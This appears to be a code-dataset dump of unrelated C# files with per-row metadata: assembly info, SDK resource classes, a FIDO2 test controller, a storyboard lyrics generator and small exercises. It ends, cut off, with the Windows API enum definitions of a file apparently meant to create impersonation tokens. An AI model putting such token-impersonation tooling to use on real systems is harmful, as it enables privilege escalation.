content
stringlengths 5
1.04M
| avg_line_length
float64 1.75
12.9k
| max_line_length
int64 2
244k
| alphanum_fraction
float64 0
0.98
| licenses
list | repository_name
stringlengths 7
92
| path
stringlengths 3
249
| size
int64 5
1.04M
| lang
stringclasses 2
values |
---|---|---|---|---|---|---|---|---|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Imaginet.Samples.WebJobs")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Imaginet.Samples.WebJobs")]
[assembly: AssemblyCopyright("Copyright © 2015")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("2485051a-1eb0-48e4-bf5b-ef466487d385")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Revision and Build Numbers
// by using the '*' as shown below:
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 38.361111 | 84 | 0.750181 |
[
"Apache-2.0"
] |
Imaginet-Resources/AzureQueuesAndWebJobs
|
Imaginet.Samples.AzureQueuesAndWebJobs/Imaginet.Samples.WebJobs/Properties/AssemblyInfo.cs
| 1,384 |
C#
|
//
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for license information.
//
namespace Microsoft.VisualStudio.Text.Editor.DragDrop
{
/// <summary>
/// Specifies the effects of a drag/drop operation.
/// </summary>
/// <remarks>
/// This enumeration has the <see cref="System.FlagsAttribute"/> hence allowing bitwise combination of its member variables.
/// </remarks>
[System.Flags]
public enum DragDropPointerEffects
{
/// <summary>
/// None signals that the drag/drop operation is not allowed. The mouse icon will be changed to the "not allowed" icon and no tracker will be shown.
/// </summary>
None = 0,
/// <summary>
/// Copy signals that the drag/drop operation will result in data copy. The mouse icon will be changed to the copy icon.
/// </summary>
Copy = 1,
/// <summary>
/// Link signals that a shortcut/link will be created as the result of the drag/drop operation. The mouse icon will be changed to the shortcut creation icon.
/// </summary>
Link = 2,
/// <summary>
/// Move signals that the data will be moved from the drag source to the drop target. The mouse icon will be changed to the move icon.
/// </summary>
Move = 4,
/// <summary>
/// Scroll indicates that the drop operation is causing scrolling in the drop target.
/// </summary>
Scroll = 8,
/// <summary>
/// Track indicates that a tracker hinting the drop location on the editor will be shown to the user.
/// </summary>
Track = 16,
/// <summary>
/// All specifies all possible effects together.
/// </summary>
All = 31
}
}
| 39.531915 | 165 | 0.61141 |
[
"MIT"
] |
AmadeusW/vs-editor-api
|
src/Editor/Text/Def/TextUICocoa/DragDrop/DragDropPointerEffects.cs
| 1,860 |
C#
|
using System.Runtime.Serialization;
namespace SocialApis.Twitter
{
[DataContract]
public class TwitterError
{
[DataMember(Name = "code")]
public int Code { get; private set; }
[DataMember(Name = "message")]
public string Message { get; private set; }
}
}
| 20.4 | 51 | 0.617647 |
[
"MIT"
] |
atst1996/Liberfy.SocialApis
|
SocialApis/Twitter/TwitterError.cs
| 308 |
C#
|
// *** WARNING: this file was generated by the Pulumi SDK Generator. ***
// *** Do not edit by hand unless you're certain you know what you are doing! ***
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System.Threading.Tasks;
using Pulumi.Serialization;
namespace Pulumi.AzureNative.Compute.V20191201
{
/// <summary>
/// The source user image virtual hard disk. The virtual hard disk will be copied before being attached to the virtual machine. If SourceImage is provided, the destination virtual hard drive must not exist.
/// </summary>
[AzureNativeResourceType("azure-native:compute/v20191201:Image")]
public partial class Image : Pulumi.CustomResource
{
/// <summary>
/// Gets the HyperVGenerationType of the VirtualMachine created from the image
/// </summary>
[Output("hyperVGeneration")]
public Output<string?> HyperVGeneration { get; private set; } = null!;
/// <summary>
/// Resource location
/// </summary>
[Output("location")]
public Output<string> Location { get; private set; } = null!;
/// <summary>
/// Resource name
/// </summary>
[Output("name")]
public Output<string> Name { get; private set; } = null!;
/// <summary>
/// The provisioning state.
/// </summary>
[Output("provisioningState")]
public Output<string> ProvisioningState { get; private set; } = null!;
/// <summary>
/// The source virtual machine from which Image is created.
/// </summary>
[Output("sourceVirtualMachine")]
public Output<Outputs.SubResourceResponse?> SourceVirtualMachine { get; private set; } = null!;
/// <summary>
/// Specifies the storage settings for the virtual machine disks.
/// </summary>
[Output("storageProfile")]
public Output<Outputs.ImageStorageProfileResponse?> StorageProfile { get; private set; } = null!;
/// <summary>
/// Resource tags
/// </summary>
[Output("tags")]
public Output<ImmutableDictionary<string, string>?> Tags { get; private set; } = null!;
/// <summary>
/// Resource type
/// </summary>
[Output("type")]
public Output<string> Type { get; private set; } = null!;
/// <summary>
/// Create a Image resource with the given unique name, arguments, and options.
/// </summary>
///
/// <param name="name">The unique name of the resource</param>
/// <param name="args">The arguments used to populate this resource's properties</param>
/// <param name="options">A bag of options that control this resource's behavior</param>
public Image(string name, ImageArgs args, CustomResourceOptions? options = null)
: base("azure-native:compute/v20191201:Image", name, args ?? new ImageArgs(), MakeResourceOptions(options, ""))
{
}
private Image(string name, Input<string> id, CustomResourceOptions? options = null)
: base("azure-native:compute/v20191201:Image", name, null, MakeResourceOptions(options, id))
{
}
private static CustomResourceOptions MakeResourceOptions(CustomResourceOptions? options, Input<string>? id)
{
var defaultOptions = new CustomResourceOptions
{
Version = Utilities.Version,
Aliases =
{
new Pulumi.Alias { Type = "azure-nextgen:compute/v20191201:Image"},
new Pulumi.Alias { Type = "azure-native:compute:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute:Image"},
new Pulumi.Alias { Type = "azure-native:compute/latest:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute/latest:Image"},
new Pulumi.Alias { Type = "azure-native:compute/v20160430preview:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute/v20160430preview:Image"},
new Pulumi.Alias { Type = "azure-native:compute/v20170330:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute/v20170330:Image"},
new Pulumi.Alias { Type = "azure-native:compute/v20171201:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute/v20171201:Image"},
new Pulumi.Alias { Type = "azure-native:compute/v20180401:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute/v20180401:Image"},
new Pulumi.Alias { Type = "azure-native:compute/v20180601:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute/v20180601:Image"},
new Pulumi.Alias { Type = "azure-native:compute/v20181001:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute/v20181001:Image"},
new Pulumi.Alias { Type = "azure-native:compute/v20190301:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute/v20190301:Image"},
new Pulumi.Alias { Type = "azure-native:compute/v20190701:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute/v20190701:Image"},
new Pulumi.Alias { Type = "azure-native:compute/v20200601:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute/v20200601:Image"},
new Pulumi.Alias { Type = "azure-native:compute/v20201201:Image"},
new Pulumi.Alias { Type = "azure-nextgen:compute/v20201201:Image"},
},
};
var merged = CustomResourceOptions.Merge(defaultOptions, options);
// Override the ID if one was specified for consistency with other language SDKs.
merged.Id = id ?? merged.Id;
return merged;
}
/// <summary>
/// Get an existing Image resource's state with the given name, ID, and optional extra
/// properties used to qualify the lookup.
/// </summary>
///
/// <param name="name">The unique name of the resulting resource.</param>
/// <param name="id">The unique provider ID of the resource to lookup.</param>
/// <param name="options">A bag of options that control this resource's behavior</param>
public static Image Get(string name, Input<string> id, CustomResourceOptions? options = null)
{
return new Image(name, id, options);
}
}
public sealed class ImageArgs : Pulumi.ResourceArgs
{
/// <summary>
/// Gets the HyperVGenerationType of the VirtualMachine created from the image
/// </summary>
[Input("hyperVGeneration")]
public InputUnion<string, Pulumi.AzureNative.Compute.V20191201.HyperVGenerationTypes>? HyperVGeneration { get; set; }
/// <summary>
/// The name of the image.
/// </summary>
[Input("imageName")]
public Input<string>? ImageName { get; set; }
/// <summary>
/// Resource location
/// </summary>
[Input("location")]
public Input<string>? Location { get; set; }
/// <summary>
/// The name of the resource group.
/// </summary>
[Input("resourceGroupName", required: true)]
public Input<string> ResourceGroupName { get; set; } = null!;
/// <summary>
/// The source virtual machine from which Image is created.
/// </summary>
[Input("sourceVirtualMachine")]
public Input<Inputs.SubResourceArgs>? SourceVirtualMachine { get; set; }
/// <summary>
/// Specifies the storage settings for the virtual machine disks.
/// </summary>
[Input("storageProfile")]
public Input<Inputs.ImageStorageProfileArgs>? StorageProfile { get; set; }
[Input("tags")]
private InputMap<string>? _tags;
/// <summary>
/// Resource tags
/// </summary>
public InputMap<string> Tags
{
get => _tags ?? (_tags = new InputMap<string>());
set => _tags = value;
}
public ImageArgs()
{
}
}
}
| 43.526042 | 210 | 0.586933 |
[
"Apache-2.0"
] |
pulumi-bot/pulumi-azure-native
|
sdk/dotnet/Compute/V20191201/Image.cs
| 8,357 |
C#
|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("OpenCover.UITest")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("OpenCover.UITest")]
[assembly: AssemblyCopyright("Copyright © 2015")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("8a862535-25cd-4b54-9611-6c290ba8c23e")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 37.916667 | 84 | 0.748718 |
[
"MIT"
] |
304NotModified/opencover
|
main/OpenCover.UITest/Properties/AssemblyInfo.cs
| 1,368 |
C#
|
using System;
using System.Linq;
using System.Collections.Generic;
using RoslynTestKit;
using Microsoft.CodeAnalysis.Diagnostics;
using Microsoft.CodeAnalysis;
using System.Collections.ObjectModel;
using UniverseLib.Analyzers.Unity;
using NUnit.Framework;
namespace UniverseLib.Analyzers.Test.Unity
{
public class InputFieldOnEndEditTest : AnalyzerTestFixture
{
protected override string LanguageName => LanguageNames.CSharp;
protected override IReadOnlyCollection<MetadataReference> References => Utils.UnityRefs;
protected override DiagnosticAnalyzer CreateAnalyzer() => new InputFieldOnEndEditAnalyzer();
[Test]
public void InputFieldOnEndEditAccessedDirectly()
{
const string code = @"
class C
{
void Main()
{
var x = new UnityEngine.UI.InputField();
[|x.onEndEdit += null;|]
}
}";
HasDiagnostic(code, InputFieldOnEndEditAnalyzer.ID);
}
}
}
| 26.833333 | 100 | 0.71118 |
[
"MIT"
] |
sinai-dev/UniverseLib.Analyzers
|
UniverseLib.Analyzers.Test/Unity/InputFieldOnEndEditTest.cs
| 968 |
C#
|
// modified ver of the default lyrics script
// edits by thunderbird2678
// you can contact me on twitter @thunderbird2678 or on discord (thunderbird#2678)
// feel free to use any or all parts of this storyboard code however you wish
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using OpenTK;
using OpenTK.Graphics;
using StorybrewCommon.Scripting;
using StorybrewCommon.Storyboarding;
using StorybrewCommon.Subtitles;
namespace StorybrewScripts
{
public class Lyrics : StoryboardObjectGenerator
{
[Configurable]
public string SubtitlesPath = "lyrics.srt";
[Configurable]
public string SpritesPath = "sb/lyrics";
[Configurable]
public int FontSize = 26;
[Configurable]
public float FontScale = 0.5f;
[Configurable]
public Color4 FontColor = Color4.White;
[Configurable]
public FontStyle FontStyle = FontStyle.Regular;
[Configurable]
public float SubtitleY = 400;
[Configurable]
public bool TrimTransparency = true;
[Configurable]
public OsbOrigin Origin = OsbOrigin.Centre;
public override void Generate()
{
// load the font that I've provided in the project folder
string FontName = "SNsanafonyu.ttf";
var font = LoadFont(SpritesPath, new FontDescription()
{
FontPath = FontName,
FontSize = FontSize,
Color = FontColor,
TrimTransparency = TrimTransparency,
});
// load the subtitles
var subtitles = LoadSubtitles(SubtitlesPath);
// call generateLyrics()
generateLyrics(font, subtitles);
}
public void generateLyrics(FontGenerator font, SubtitleSet subtitles)
{
// whip up a random number generator
Random rand = new Random();
// ** the way I set up this section is ridiculously janky but it works for my uses
// an array to store the number of characters in each line
int[] numChars = new int[0];
// get the base layer
var layer = GetLayer("");
// set up a counter for the number of characters
int chars = 0;
// iterate through chorus lyrics line by line and calculate number of characters in each group
foreach (var line in subtitles.Lines)
{
// get the text in each line
var text = line.Text;
// add the full length of that line to the character counter
chars += text.Length;
// once we hit the EOL symbol
if (text.Contains("*"))
{
// subtract one from the character counter
chars -= 1;
// push the character counter into the array
numChars = numChars.Concat(new int[] { chars }).ToArray();
// reset the character counter
chars = 0;
}
}
// // log the amount of characters in each line
// foreach (var bleh in numChars)
// {
// Log(bleh);
// }
// counter variable
var i = 0;
// counter variable for the char array counter
var numCharCounter = 0;
// boolean flag to reset counter
var reset = false;
// iterate through chorus lyrics line by line
foreach (var line in subtitles.Lines)
{
// grab the text
var text = line.Text;
// if the text contains my EOL symbol, cut the symbol and mark this as a reset point
if (text.Contains("*"))
{
text = text.Remove(text.Length - 1, 1);
reset = true;
}
// the start and end time for the entire group
var StartTime = line.StartTime;
var EndTime = line.EndTime;
// go through each individual character
foreach (var chara in text)
{
// create the texture for it based off the font
var texture = font.GetTexture(chara.ToString());
// so long as the texture is valid
if (!texture.IsEmpty)
{
// experimentally determined buffer
var buffer = 30;
// using the number of characters in the whole line and the position of the current character
// we can write each individual character such that the whole line is still center aligned
// this could be rewritten in a much nicer way but sue me
var position = new Vector2((320 - (numChars[numCharCounter] * buffer) * FontScale * 0.5f) + (buffer * i), SubtitleY) + texture.OffsetFor(Origin) * FontScale;
var sprite = layer.CreateSprite(texture.Path, OsbOrigin.Centre, position);
// we do a random rotation
// it's confined to +/- .33 radians so it doesn't get too extreme
// please excuse my disgusting ternary statement im a dirty javasc*ipt dev*loper
float rotation = (float)(rand.NextDouble() / 3) * (rand.NextDouble() > 0.5 ? 1 : -1);
sprite.Rotate(StartTime, rotation);
// basic fade in / out effect
sprite.Fade(StartTime - 200, StartTime, 0, 1);
sprite.Fade(EndTime - 200, EndTime, 1, 0);
// increment character counter
i++;
}
}
// once the reset flag is triggered
if (reset)
{
// reset the horizontal offset
i = 0;
// add to numcharcounter
numCharCounter++;
// set the flag back to false
reset = false;
}
}
}
}
}
| 36.276836 | 181 | 0.516898 |
[
"MIT"
] |
k74huang/Kawaige-Nai-Na-Storyboard
|
Lyrics.cs
| 6,421 |
C#
|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using Android.App;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("SteamMobileAuthenticatorCore.Android")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("SteamMobileAuthenticatorCore.Android")]
[assembly: AssemblyCopyright("Copyright © 2014")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
[assembly: ComVisible(false)]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
// Add some common permissions, these can be removed if not needed
[assembly: UsesPermission(Android.Manifest.Permission.Internet)]
[assembly: UsesPermission(Android.Manifest.Permission.WriteExternalStorage)]
| 37.258065 | 77 | 0.774026 |
[
"MIT"
] |
IvanDmitriev1/SteamDesktopAuthenticatorCore
|
Mobile/SteamMobileAuthenticatorCore.Android/Properties/AssemblyInfo.cs
| 1,158 |
C#
|
using System;
using System.Globalization;
using System.Threading;
/* Problem 9. Trapezoids
Write an expression that calculates trapezoid's area by given sides a and b and height h.
*/
public class Trapezoids
{
public static void Main()
{
Thread.CurrentThread.CurrentCulture = CultureInfo.InvariantCulture;
Console.Write("Enter side a: ");
double sideA = double.Parse(Console.ReadLine().Replace(',', '.'));
Console.Write("Enter side b: ");
double sideB = double.Parse(Console.ReadLine().Replace(',', '.'));
Console.Write("Enter height h: ");
double heightH = double.Parse(Console.ReadLine().Replace(',', '.'));
double area = ((sideA + sideB) / 2) * heightH;
Console.WriteLine("Trapezoid's area is: " + area);
}
}
| 31.038462 | 93 | 0.634449 |
[
"MIT"
] |
EmilMitev/Telerik-Academy
|
CSharp - part 1/3.OperatorsAndExpressions/09.Trapezoids/Trapezoids.cs
| 809 |
C#
|
/*
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/*
* Do not modify this file. This file is generated from the auditmanager-2017-07-25.normal.json service model.
*/
using System;
using System.Collections.Generic;
using System.Xml.Serialization;
using System.Text;
using System.IO;
using System.Net;
using Amazon.Runtime;
using Amazon.Runtime.Internal;
namespace Amazon.AuditManager.Model
{
/// <summary>
/// This is the response object from the UpdateControl operation.
/// </summary>
public partial class UpdateControlResponse : AmazonWebServiceResponse
{
private Control _control;
/// <summary>
/// Gets and sets the property Control.
/// <para>
/// The name of the updated control set returned by the <code>UpdateControl</code> API.
///
/// </para>
/// </summary>
public Control Control
{
get { return this._control; }
set { this._control = value; }
}
// Check to see if Control property is set
internal bool IsSetControl()
{
return this._control != null;
}
}
}
| 29.034483 | 110 | 0.653207 |
[
"Apache-2.0"
] |
ChristopherButtars/aws-sdk-net
|
sdk/src/Services/AuditManager/Generated/Model/UpdateControlResponse.cs
| 1,684 |
C#
|
namespace AntBlazor
{
public abstract class ClassBuilderRule<T>
{
public abstract string GetClass(T data);
}
}
| 18.714286 | 48 | 0.664122 |
[
"MIT"
] |
1002527441/ant-design-blazor
|
components/core/Helpers/ClassBuilderRule.cs
| 133 |
C#
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Threading.Tasks;
using Fido2NetLib;
using Fido2NetLib.Development;
using Fido2NetLib.Objects;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Http.Features;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Configuration;
namespace Fido2Demo
{
public class TestController : Controller
{
/**
*
*
*
* CONFORMANCE TESTING ENDPOINTS
*
*
*
*/
private static readonly DevelopmentInMemoryStore DemoStorage = new DevelopmentInMemoryStore();
private Fido2 _lib;
private IMetadataService _mds;
private string _origin;
public TestController(IConfiguration config)
{
// Sample bogus key from https://fidoalliance.org/metadata/
var invalidToken = "6d6b44d78b09fed0c5559e34c71db291d0d322d4d4de0000";
_origin = config["fido2:origin"];
_mds = MDSMetadata.ConformanceInstance(invalidToken, config["fido2:MDSCacheDirPath"], _origin);
_lib = new Fido2(new Fido2.Configuration()
{
ServerDomain = config["fido2:serverDomain"],
ServerName = "Fido2 test",
Origin = _origin,
MetadataService = _mds
});
}
[HttpPost]
[Route("/attestation/options")]
public JsonResult MakeCredentialOptionsTest([FromBody] TEST_MakeCredentialParams opts)
{
var attType = opts.Attestation;
var username = new byte[] { };
try
{
username = Base64Url.Decode(opts.Username);
}
catch(FormatException)
{
username = System.Text.Encoding.UTF8.GetBytes(opts.Username);
}
// 1. Get user from DB by username (in our example, auto create missing users)
var user = DemoStorage.GetOrAddUser(opts.Username, () => new User
{
DisplayName = opts.DisplayName,
Name = opts.Username,
Id = username // byte representation of userID is required
});
// 2. Get user existing keys by username
var existingKeys = DemoStorage.GetCredentialsByUser(user).Select(c => c.Descriptor).ToList();
//var exts = new AuthenticationExtensionsClientInputs() { Extensions = true, UserVerificationIndex = true, Location = true, UserVerificationMethod = true, BiometricAuthenticatorPerformanceBounds = new AuthenticatorBiometricPerfBounds { FAR = float.MaxValue, FRR = float.MaxValue } };
var exts = new AuthenticationExtensionsClientInputs() { };
if (null != opts.Extensions
&& null != opts.Extensions.Example)
exts.Example = opts.Extensions.Example;
// 3. Create options
var options = _lib.RequestNewCredential(user, existingKeys, opts.AuthenticatorSelection, opts.Attestation, exts);
// 4. Temporarily store options, session/in-memory cache/redis/db
HttpContext.Session.SetString("fido2.attestationOptions", options.ToJson());
// 5. return options to client
return Json(options);
}
[HttpPost]
[Route("/attestation/result")]
public async Task<JsonResult> MakeCredentialResultTest([FromBody] AuthenticatorAttestationRawResponse attestationResponse)
{
// 1. get the options we sent the client
var jsonOptions = HttpContext.Session.GetString("fido2.attestationOptions");
var options = CredentialCreateOptions.FromJson(jsonOptions);
// 2. Create callback so that lib can verify credential id is unique to this user
IsCredentialIdUniqueToUserAsyncDelegate callback = async (IsCredentialIdUniqueToUserParams args) =>
{
var users = await DemoStorage.GetUsersByCredentialIdAsync(args.CredentialId);
if (users.Count > 0) return false;
return true;
};
// 2. Verify and make the credentials
var success = await _lib.MakeNewCredentialAsync(attestationResponse, options, callback);
// 3. Store the credentials in db
DemoStorage.AddCredentialToUser(options.User, new StoredCredential
{
Descriptor = new PublicKeyCredentialDescriptor(success.Result.CredentialId),
PublicKey = success.Result.PublicKey,
UserHandle = success.Result.User.Id,
SignatureCounter = success.Result.Counter
});
// 4. return "ok" to the client
return Json(success);
}
[HttpPost]
[Route("/assertion/options")]
public IActionResult AssertionOptionsTest([FromBody] TEST_AssertionClientParams assertionClientParams)
{
var username = assertionClientParams.Username;
// 1. Get user from DB
var user = DemoStorage.GetUser(username);
if (user == null) return NotFound("username was not registered");
// 2. Get registered credentials from database
var existingCredentials = DemoStorage.GetCredentialsByUser(user).Select(c => c.Descriptor).ToList();
var uv = assertionClientParams.UserVerification;
if (null != assertionClientParams.authenticatorSelection) uv = assertionClientParams.authenticatorSelection.UserVerification;
var exts = new AuthenticationExtensionsClientInputs() { AppID = _origin, SimpleTransactionAuthorization = "FIDO", GenericTransactionAuthorization = new TxAuthGenericArg { ContentType = "text/plain", Content = new byte[] { 0x46, 0x49, 0x44, 0x4F } }, UserVerificationIndex = true, Location = true, UserVerificationMethod = true };
if (null != assertionClientParams.Extensions
&& null != assertionClientParams.Extensions.Example)
exts.Example = assertionClientParams.Extensions.Example;
// 3. Create options
var options = _lib.GetAssertionOptions(
existingCredentials,
uv,
exts
);
// 4. Temporarily store options, session/in-memory cache/redis/db
HttpContext.Session.SetString("fido2.assertionOptions", options.ToJson());
// 5. Return options to client
return Json(options);
}
[HttpPost]
[Route("/assertion/result")]
public async Task<JsonResult> MakeAssertionTest([FromBody] AuthenticatorAssertionRawResponse clientResponse)
{
// 1. Get the assertion options we sent the client
var jsonOptions = HttpContext.Session.GetString("fido2.assertionOptions");
var options = AssertionOptions.FromJson(jsonOptions);
// 2. Get registered credential from database
var creds = DemoStorage.GetCredentialById(clientResponse.Id);
// 3. Get credential counter from database
var storedCounter = creds.SignatureCounter;
// 4. Create callback to check if userhandle owns the credentialId
IsUserHandleOwnerOfCredentialIdAsync callback = async (args) =>
{
var storedCreds = await DemoStorage.GetCredentialsByUserHandleAsync(args.UserHandle);
return storedCreds.Exists(c => c.Descriptor.Id.SequenceEqual(args.CredentialId));
};
// 5. Make the assertion
var res = await _lib.MakeAssertionAsync(clientResponse, options, creds.PublicKey, storedCounter, callback);
// 6. Store the updated counter
DemoStorage.UpdateCounter(res.CredentialId, res.Counter);
var testRes = new
{
status = "ok",
errorMessage = ""
};
// 7. return OK to client
return Json(testRes);
}
private byte[] GetTokenBindingId()
{
return Request.HttpContext.Features.Get<ITlsTokenBindingFeature>()?.GetProvidedTokenBindingId();
}
/// <summary>
/// For testing
/// </summary>
public class TEST_AssertionClientParams
{
public string Username { get; set; }
public UserVerificationRequirement UserVerification { get; set; }
public AuthenticatorSelection authenticatorSelection { get; set; }
public AuthenticationExtensionsClientOutputs Extensions { get; set; }
}
public class TEST_MakeCredentialParams
{
public string DisplayName { get; set; }
public string Username { get; set; }
public AttestationConveyancePreference Attestation { get; set; }
public AuthenticatorSelection AuthenticatorSelection { get; set; }
public AuthenticationExtensionsClientOutputs Extensions { get; set; }
}
}
}
| 40.340708 | 341 | 0.621367 |
[
"MIT"
] |
nicksteele/fido2-net-lib
|
Fido2Demo/TestController.cs
| 9,119 |
C#
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
using Aliyun.Acs.Core.Transform;
using Aliyun.Acs.CSB.Model.V20171118;
using System;
using System.Collections.Generic;
namespace Aliyun.Acs.CSB.Transform.V20171118
{
public class UpdateOrderResponseUnmarshaller
{
public static UpdateOrderResponse Unmarshall(UnmarshallerContext context)
{
UpdateOrderResponse updateOrderResponse = new UpdateOrderResponse();
updateOrderResponse.HttpResponse = context.HttpResponse;
updateOrderResponse.Code = context.IntegerValue("UpdateOrder.Code");
updateOrderResponse.Message = context.StringValue("UpdateOrder.Message");
updateOrderResponse.RequestId = context.StringValue("UpdateOrder.RequestId");
return updateOrderResponse;
}
}
}
| 38.75 | 81 | 0.756774 |
[
"Apache-2.0"
] |
brightness007/unofficial-aliyun-openapi-net-sdk
|
aliyun-net-sdk-csb/CSB/Transform/V20171118/UpdateOrderResponseUnmarshaller.cs
| 1,550 |
C#
|
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Security.Principal;
namespace CreateImpersonateTokenVariant
{
class CreateImpersonateTokenVariant
{
// Windows Definition
// Windows Enum
[Flags]
enum FormatMessageFlags : uint
{
FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100,
FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200,
FORMAT_MESSAGE_FROM_STRING = 0x00000400,
FORMAT_MESSAGE_FROM_HMODULE = 0x00000800,
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000,
FORMAT_MESSAGE_ARGUMENT_ARRAY = 0x00002000
}
[Flags]
enum ProcessCreationFlags : uint
{
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
INHERIT_PARENT_AFFINITY = 0x00010000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
}
enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
[Flags]
enum SE_GROUP_ATTRIBUTES : uint
{
SE_GROUP_MANDATORY = 0x00000001,
SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002,
SE_GROUP_ENABLED = 0x00000004,
SE_GROUP_OWNER = 0x00000008,
SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010,
SE_GROUP_INTEGRITY = 0x00000020,
SE_GROUP_INTEGRITY_ENABLED = 0x00000040,
SE_GROUP_RESOURCE = 0x20000000,
SE_GROUP_LOGON_ID = 0xC0000000
}
[Flags]
enum SE_PRIVILEGE_ATTRIBUTES : uint
{
SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001,
SE_PRIVILEGE_ENABLED = 0x00000002,
SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000,
}
enum SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation = 0x00,
SystemProcessorInformation = 0x01,
SystemPerformanceInformation = 0x02,
SystemTimeOfDayInformation = 0x03,
SystemPathInformation = 0x04,
SystemProcessInformation = 0x05,
SystemCallCountInformation = 0x06,
SystemDeviceInformation = 0x07,
SystemProcessorPerformanceInformation = 0x08,
SystemFlagsInformation = 0x09,
SystemCallTimeInformation = 0x0A,
SystemModuleInformation = 0x0B,
SystemLocksInformation = 0x0C,
SystemStackTraceInformation = 0x0D,
SystemPagedPoolInformation = 0x0E,
SystemNonPagedPoolInformation = 0x0F,
SystemHandleInformation = 0x10,
SystemObjectInformation = 0x11,
SystemPageFileInformation = 0x12,
SystemVdmInstemulInformation = 0x13,
SystemVdmBopInformation = 0x14,
